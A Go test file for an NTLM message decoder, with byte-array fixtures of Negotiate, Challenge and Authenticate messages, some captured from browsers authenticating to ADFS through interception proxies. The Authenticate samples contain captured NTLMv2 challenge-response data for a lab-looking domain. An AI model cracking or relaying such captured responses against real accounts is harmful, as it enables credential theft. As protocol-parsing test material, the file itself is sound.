0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x70, 0x00, 0x72, 0x00, 0x61, 0x00, 0x65, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x6d, 0x00, 0x2e, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00, } // SampleC was collected from a Windows 10 client running Google Chrome authenticating to an ADFS // server running on Windows Server 2019 with BurpSuite proxying the requests NegotiateMessageBytesSampleC = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, } ChallengeMessageBytesSampleC = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0x8a, 0xbb, 0xb6, 0x84, 0x7e, 0x27, 0x76, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, } AuthenticateMessageBytesSampleC = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00, 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xa9, 0xf5, 0x3b, 0x37, 0xbf, 0xc9, 0x49, 0x75, 0x5f, 0x21, 0xd2, 0xaf, 0x94, 0x8b, 0xdc, 0x42, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xeb, 0x30, 0x1f, 0xab, 0x4f, 0x37, 0x4d, 0x79, 0x59, 0x28, 0x73, 0x38, 0x51, 0x19, 0x3b, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0xc9, 0x74, 0x65, 0x45, 0xb9, 0xdd, 0xf7, 0x35, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x1a, 0x38, 0x76, 0xf8, 0x9c, 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 0xd6, 0x96, 0x37, 0x81, 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0xe3, 0x7e, 0x10, 0x35, 0xd8, 0x9e, 0x56, 0xb4, 0x6e, 0x3a, 0x70, 0x03, 0xc8, 0x1f, 0x54, 0x48, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xd7, 0xa2, 0x6d, 0x26, 0xeb, 0x99, 0x27, 0xb7, 0x53, 0x5e, 0x64, 0x5d, 0x59, 0xc7, 0x14, } // SampleD was collected from a Windows 10 system running Microsoft Edge in Internet Explorer mode // with Fiddler being leveraged to intercept TLS traffic sent by the client. NegotiateMessageBytesSampleD = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0, } ChallengeMessageBytesSampleD = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0xe3, 0x52, 0x63, 0x2b, 0x6f, 0xae, 0xd1, 0xf5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, } AuthenticateMessageBytesSampleD = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00, 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xec, 0x52, 0xec, 0x01, 0xff, 0x08, 0x19, 0xd5, 0xca, 0x96, 0xc8, 0x42, 0xb3, 0xe8, 0x75, 0xb6, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x4e, 0xef, 0x9e, 0xf2, 0x90, 0x71, 0x08, 0xf4, 0x67, 0x7e, 0x42, 0x7a, 0x89, 0xee, 0x2e, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0xaf, 0xd2, 0xa4, 0xbb, 0xe2, 0x24, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 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0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xdf, 0x0e, 0xc1, 0xf7, 0xde, 0xb8, 0x3c, 0x1c, 0xfe, 0x69, 0x25, 0xf7, 0x22, 0x16, 0x5a, } ) func TestDecodeNegotiateMessageSampleA(t *testing.T) { var err error NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleA) if err != nil { t.Errorf("error decoding negotiate message: %v", err) } spew.Dump(NegotiateMessage) } func TestDecodeChallengeMessageSampleA(t *testing.T) { var err error ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleA) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(ChallengeMessage) } func TestDecodeAuthenticateMessageSampleA(t *testing.T) { var err error AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleA) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(AuthenticateMessage) } func TestDecodeNegotiateMessageSampleB(t *testing.T) { var err error NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleB) if err != nil { t.Errorf("error decoding negotiate message: %v", err) } spew.Dump(NegotiateMessage) } func TestDecodeChallengeMessageSampleB(t *testing.T) { var err error ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleB) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(ChallengeMessage) } func TestDecodeAuthenticateMessageSampleB(t *testing.T) { var err error AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleB) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(AuthenticateMessage) } func TestDecodeNegotiateMessageSampleC(t *testing.T) { var err error NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleC) if err != nil { t.Errorf("error decoding negotiate message: %v", err) } spew.Dump(NegotiateMessage) } func TestDecodeChallengeMessageSampleC(t *testing.T) { var err error ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleC) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(ChallengeMessage) } func TestDecodeAuthenticateMessageSampleC(t *testing.T) { var err error AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleC) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(*AuthenticateMessage) } func TestDecodeNegotiateMessageSampleD(t *testing.T) { var err error NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleD) if err != nil { t.Errorf("error decoding negotiate message: %v", err) } spew.Dump(NegotiateMessage) } func TestDecodeChallengeMessageSampleD(t *testing.T) { var err error ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleD) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(ChallengeMessage) } func TestDecodeAuthenticateMessageSampleD(t *testing.T) { var err error AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleD) if err != nil { t.Errorf("error decoding challenge message: %v", err) } spew.Dump(*AuthenticateMessage) } func TestFullDecodeSampleA(t *testing.T) { decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleA) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedNegotiateMessage.(type) { case *NEGOTIATE_MESSAGE: spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) } decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleA) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedChallengeMessage.(type) { case *CHALLENGE_MESSAGE: spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) default: t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) } decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleA) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedAuthenticateMessage.(type) { case *AUTHENTICATE_MESSAGE: spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) } } func TestFullDecodeSampleB(t *testing.T) { decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleB) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedNegotiateMessage.(type) { case *NEGOTIATE_MESSAGE: spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) } decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleB) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedChallengeMessage.(type) { case *CHALLENGE_MESSAGE: spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) default: t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) } decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleB) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedAuthenticateMessage.(type) { case *AUTHENTICATE_MESSAGE: spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) } } func TestFullDecodeSampleC(t *testing.T) { decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleC) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedNegotiateMessage.(type) { case *NEGOTIATE_MESSAGE: spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) } decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleC) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedChallengeMessage.(type) { case *CHALLENGE_MESSAGE: spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) default: t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) } decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleC) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedAuthenticateMessage.(type) { case *AUTHENTICATE_MESSAGE: spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) } } func TestFullDecodeSampleD(t *testing.T) { decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleD) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedNegotiateMessage.(type) { case *NEGOTIATE_MESSAGE: spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) } decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleD) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedChallengeMessage.(type) { case *CHALLENGE_MESSAGE: spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) default: t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) } decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleD) if err != nil { t.Errorf("error decoding message: %v", err) return } switch v := decodedAuthenticateMessage.(type) { case *AUTHENTICATE_MESSAGE: spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) default: t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) } }